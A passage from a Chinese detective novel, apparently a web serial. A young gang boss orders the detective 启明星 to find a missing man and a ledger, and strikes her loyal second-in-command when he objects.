与此同时剩下那个举刀砍向犬山晓,笃定她在这个状态下无法回避。确实无法回避,也不需要,那闪过刀刀光在挨到她手臂皮肤上之后留下了浅浅的红痕,犬山晓旋身完毕后抬手抓住那把刀,一用力刀就碎了。
最后她一巴掌扇在那人脑袋上对方就昏过去了。
整个过程耗时没有超过4秒,第4秒犬山晓站起来后,所处位置在一二三四的正后方。
一二三四没有回头,犬山晓看向她蓬松的后脑勺,心想对方反应还挺慢。
“愣着干嘛?带去治疗啊。”一二三四头也不回地命令道,她的声音没有出现颤抖。
犬山晓绕了一圈回到启明星身后站着,没有人说话也没人敢拦着她,她看着一二三四依旧坐在沙发上,动作都没变过。
“真是精彩,看到这场景也算是不虚此行了。”启明星惊叹道。
“不过好像没什么用就是了。”犬山晓有些不好意思。
一二三四凝视着二人,脸色不好看。
“不,很有用。”启明星看向一二三四,微笑一如既往,“不露怯是首领的常态,鄙人说的对吗?”
现场除了搬动伤员的动静之外没有人说话,一二七担忧地看向一二三四,犬山晓也看向她,六十七号看着那些人被搬出去,自己也有点想离开。
“…侦探的眼光倒是不错。”良久,一二三四开口道,声音一如既往地响亮。
“那是自然的。”启明星大大方方地接受了夸奖。
“最迟明天中午,”一二三四没有再刻意瞪着眼睛,而是若有所思地看向犬山晓,“将吉田川光和账本找到,带过来给我,活的最好,死的也行。”
启明星没有立刻回应,而是隐晦地看了一眼一二七,对方的神色挣扎了起来。之前他说,把目标交给他。
有趣,启明星心想,这人作为二把手这么多年居然起了异心,就是不知道一二三四对着这位小时候曾有过短暂的养育之恩的对象态度如何。
“…首领,家族账本一直是我负责管理,这件事是我的过错,请给我一个将功补过的机会。”一二七低沉着声音请求道。
“将功补过的机会会给你的,但不是这次。”一二三四没有回头,她看着启明星等待答复。
“我…”一二七还有想说的话,但没得到说的机会。
就连犬山晓都能看出来这位家族首领非常讨厌自己被驳逆,刚才她的一番行动恐怕已经让一二三四生气了,言辞间都没有什么废话。
犬山晓知道,一二三四身后跟着的那些人更清楚不过,还留在那的都是些首领身边的亲信了,当然一二七也是亲信之一,此时其它人都不敢说话,眼神透露出想让一二七别再开口了的意图。
“七叔,您何苦如此呢?”一二三四忽然就笑了,并不是嘲讽或者冷笑,她的声音在爽朗的笑意下甚至显得温柔了起来,“家族里的一切都是我负责的,有什么事是我不能做的?”
一二三四就这样笑意盈盈地看了过去,但一二七的脸色却更苍白了,就连那剩下的部分人的脸色也跟着难看了起来。与对待外部人员的不同,一二三四对内施压有另一套做法。
“是不是我的选择让家族得以更进一步的?您是最清楚不过的吧?”一二三四笑着问。
“是的,您…”一二七没能说完,一二三四看向另一个人。
“被前代指定为继承人的人是不是我?明明这么多年过去了为何大家还是不了解我是一个多么值得信任的首领呢?”一二三四笑着问。
“当,当然。”那人说话的声音都在抖。
“那你们是不是该相信我,跟着我的选择走,无论我说什么你们都心甘情愿地照做?”一二三四笑着问另一个人。
“是,是的…”那人刚想说什么,一二七就打断了。
“我不能就这样看着您这样做,”一二七绕到一二三四的面前,单膝下跪,声音非常焦急,“这个家族是我们所有人,不,是前代首领的心血,您不能——”
没人敢说话,也没人敢信这个时候还有人敢说话。
“住嘴。”一二三四没有看一二七请求的样子,她保持微笑冷冷斥责道。
“首领,只有这件事不行,只有这件事求您相信我,事后您将我逐出家族都无所谓,我…”一二七请求的话没有说完,因为一二三四本环抱在胸前的双臂松开,右臂抬起,给了他一拳。
现场一片静默,没有人说话,甚至没有人敢动。犬山晓也一样,她特别想看但又不太敢看,不知为何她明明完全不应该害怕一二三四的,那种紧张的感觉大概也不是恐惧,只是她总觉得自己如果投去哪怕一秒视线,下一个被骂的人就会是她。
这就是□□老大吗?如果可以的话希望这辈子不要有和她说话的机会啊。犬山晓打心底地这样期望道。
一二三四怒视着一二七,那毫无疑问是盛怒,毛发的阴影投射在她张扬的面孔上,年轻没有遮去她愤怒的破坏力丝毫,这是她坐下后第一次有了动作,只是挥舞了一下右手而已,却像是夺去了一个人呼吸的权利。
当然,首领确实有这样的权利,启明星垂下眼睛没有看,心里为自己的老友默哀。
良久,又或者只有几次呼吸的时间,一二三四收敛了自己的情绪,室内的压力终于回到了众人可以自由呼吸的程度。
“见笑了。”一二三四站了起来将手插回西装裤兜里,她嘴角勾起一个刻意为之的弧度,并不是在笑,“启明星侦探,我等你的好消息。”
说罢,她没有理会还单膝跪着的一二七,转身大步离开了,皮鞋踢踏在地砖上,一如来时,剩下的人连忙去追。
过了没一会,一二七叹了口气,站了起来,他朝启明星稍微行礼,红印子还停在他右脸上。启明星也回应着点头,一二七转身拿起一二三四的外套,跟了上去。
室内终于就只剩下了启明星三人,以及一片狼藉。
“结束啦?”六十七号活动了一下身体。
“…感觉她来一趟就是为了把这里一切都搞乱。”犬山晓叹了口气。
“…那位一二三四首领也是个特殊的存在呢。”启明星看着门口开着的门,“她在16岁那年被前代指定为家族继承人,之后身世曝光,她的母亲生下她之后没有和她同居过。而且在16岁之前,她不知道自己的身份,住在家族名下的宅子里,只有一二七偶尔去看她。”
“她居然有这样的身世吗?”犬山晓有些意外,一二三四看上去就比克拉拉年轻些。
“犬山小姐有什么感想吗?”启明星笑着问。
“…那为什么她会打一二七先生呢?”犬山晓不理解,“若是我小时候有这样的人陪在身边的话,后来无论如何都会珍惜这样的一个人的,不过是一些反对意见而已。”
“您也有的吧,不是人也可以,每个人的成长都有被注视着,但只有人能给予回应。”启明星叹了口气,“不过承受能力强是您珍贵的优点。”
“只有人吗。”犬山晓忽然就想起了那永远不言语的月亮,她想起那些时日,又想起后来自己面对月亮时偶尔产生的恐惧和回避,有了些感悟。
这些也是正常人可以理解的吗?犬山晓心里有些安心了。
“那么接下来,就去下一个目的地调查吧。”启明星站了起来。